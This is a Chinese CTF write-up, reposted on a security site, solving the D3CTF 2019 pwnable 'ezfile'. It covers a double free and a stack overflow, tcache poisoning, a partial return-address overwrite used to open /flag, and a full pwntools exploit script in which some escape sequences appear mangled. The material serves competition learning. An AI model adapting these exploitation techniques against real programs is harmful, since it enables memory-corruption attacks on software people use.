ezfile

admin 2022年4月23日08:38:24CTF专场评论5 views3846字阅读12分49秒阅读模式

Challenge

  • 题目:ezfile

  • 类型:pwnable

  • 来源:D3CTF 2019 Quals

  • 环境:Ubuntu 18.04

  • 难度:Medium


Analysis

照旧先看一下保护,没开canary那就是八成有栈溢出咯。

gdb-peda$ checksecCANARY    : disabledFORTIFY   : disabledNX        : ENABLEDPIE       : ENABLEDRELRO     : FULL

不过还开了seccomp禁止了execve,那就是不能getshell咯

 line  CODE  JT   JF      K================================= 0000: 0x20 0x00 0x00 0x00000004  A = arch 0001: 0x15 0x00 0x05 0xc000003e  if (A != ARCH_X86_64) goto 0007 0002: 0x20 0x00 0x00 0x00000000  A = sys_number 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x02 0xffffffff  if (A != 0xffffffff) goto 0007 0005: 0x15 0x01 0x00 0x0000003b  if (A == execve) goto 0007 0006: 0x06 0x00 0x00 0x7fff0000  return ALLOW 0007: 0x06 0x00 0x00 0x00000000  return KILL

继续看,程序开始读入一个长度为90的字符串,并且打印出来。接下来又是菜单题了,每次malloc大小最多为0x18;encrypt可以加密note,不过key是随机的;free之后没有清零,存在double free漏洞了

void __cdecl deleteNote(){  signed int i; // [rsp+Ch] [rbp-4h]
myputs("input the index to delete >>", 0); i = getNumber(); if ( i >= 0 && i <= 15 ) { if ( notes[i] ) { free(notes[i]); states[i] = 0; myputs("complete", 1); } else { myputs("in using", 1); } } else { myputs("out of index", 1); }}

由于malloc的大小有限,因此需要利用tcache poisoning attack使链接指向伪造的一个较大的chunk(0x90),然后通过8次free使该chunk进入unsorted bin里,这样堆上就会出现libc的地址(0x55555575680)。

0x555555757560:  0x0000000000000000  0x00000000000000210x555555757570:  0x000055555575750a  0x00000000000000910x555555757580:  0x0000155555326ca0  0x0000155555326ca00x555555757590:  0x0000000000000001  0x00000000000000910x5555557575a0:  0x0000000000000000  0x0000000000000021

按照以往的套路,我们再一次利用tcache poisoning attack使链接指向_IO_2_1_stdout,修改_flags和_IO_write_base的值,完成leak就好办了。但是这里有两个限制条件,一个是每次malloc的大小不超过0x18,另一个最多只能malloc 15次,显然是不够用的(maybe完成利用要17次?)。注意到encryptNode的时候读取seed,恰好可以覆盖到返回地址,虽然程序开启了pie,但是我们可以部分覆盖返回地址,让其往code段跳。

void __cdecl encryptNode(){  char seed[80]; // [rsp+0h] [rbp-60h]  int index; // [rsp+58h] [rbp-8h]  int size; // [rsp+5Ch] [rbp-4h]
myputs("input the index to encrypt >>", 0); index = getNumber(); myputs("input the size of the seed (max 0x50) >>", 0); size = getNumber(); if ( size < 0 || size > 0x70 ) size = 0x70; myputs("input the crypt seed >>", 0); getContent(seed, size); doSomeThing(seed, index);}

接下来的问题就是跳到哪里的问题,事实上这里也是出题人故意设置的地方,函数返回被劫持的时候,此时rdi指向前面输入的栈空间,其余的rsi,rdx也是可控的。那我们这里让其跳到0x1147,去执行open('/flag', 0)就可以打开flag。那么怎么打印flag了,因此程序还使用了re_entry防止我们再次进入菜单里利用栈溢出,那么我们能做的只有在scanf这个函数里了。事实上,我们在上一步只需要把stdin的fileno改为3,scanf就会从fd=3的文件流去读,然后通过printf打印出来。

.text:000000000000113B                 mov     esi, 0          ; oflag.text:0000000000001140                 lea     rdi, file       ; "/dev/urandom".text:0000000000001147                 mov     eax, 0.text:000000000000114C                 call    _open.text:0000000000001151                 mov     cs:fd, eax.text:0000000000001157                 mov     eax, cs:fd.text:000000000000115D                 cmp     eax, 0FFFFFFFFh.text:0000000000001160                 jnz     short loc_117D.text:0000000000001162                 mov     esi, 1          ; newline.text:0000000000001167                 lea     rdi, aErrorInOpening ; "error in opening /dev/urandom".text:000000000000116E                 call    myputs.text:0000000000001173                 mov     edi, 0          ; status.text:0000000000001178                 call    _exit.text:000000000000117D ; ---------------------------------------------------------------------------.text:000000000000117D.text:000000000000117D loc_117D:                               ; CODE XREF: main+7B↑j.text:000000000000117D                 lea     rsi, name.text:0000000000001184                 lea     rdi, a90s       ; "%90s".text:000000000000118B                 mov     eax, 0.text:0000000000001190                 call    ___isoc99_scanf

Solution

完整利用脚本如下,由于libc那里有4个bit的随机化,同时code那里也有4个bit的随机化,那么最后成功的概率是1/256

#!/usr/bin/env python# encoding: utf-8
from pwn import *
libc = ELF('./libc.so.6')
r = process('./ezfile', aslr=False)
def m(size, data): r.sendlineafter('>>', '1') r.sendlineafter('>>', str(size)) if len(data) == size: r.sendafter('>>', data) else: r.sendlineafter('>>', data)
def f(idx): r.sendlineafter('>>', '2') r.sendlineafter('>>', str(idx))
def e(idx, data): r.sendlineafter('>>', '3') r.sendlineafter('>>', str(idx)) r.sendlineafter('>>', str(len(data))) r.sendlineafter('>>', data)
r.sendlineafter('your name: ', '0ops')
for i in xrange(7): m(0x10, p64(i) + p64(0x91))
for i in xrange(5): f(i+2)
f(0)f(0)m(0x1, 'x80')m(0x10, '')m(0x10, '')for i in xrange(8): f(9)m(0x2, 'x70x6a')
f(0)f(0)m(0x1, 'x80')m(0x10, '')m(0x10, '')
m(8, p64(3)) # edit fileno 3pause()
p = '/flagx00'p = p.ljust(112-8, 'x00')p += 'x47x51'e(-1, p)
r.interactive()




原文始发于微信公众号(pwnable):ezfile

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月23日08:38:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  ezfile http://cn-sec.com/archives/622016.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: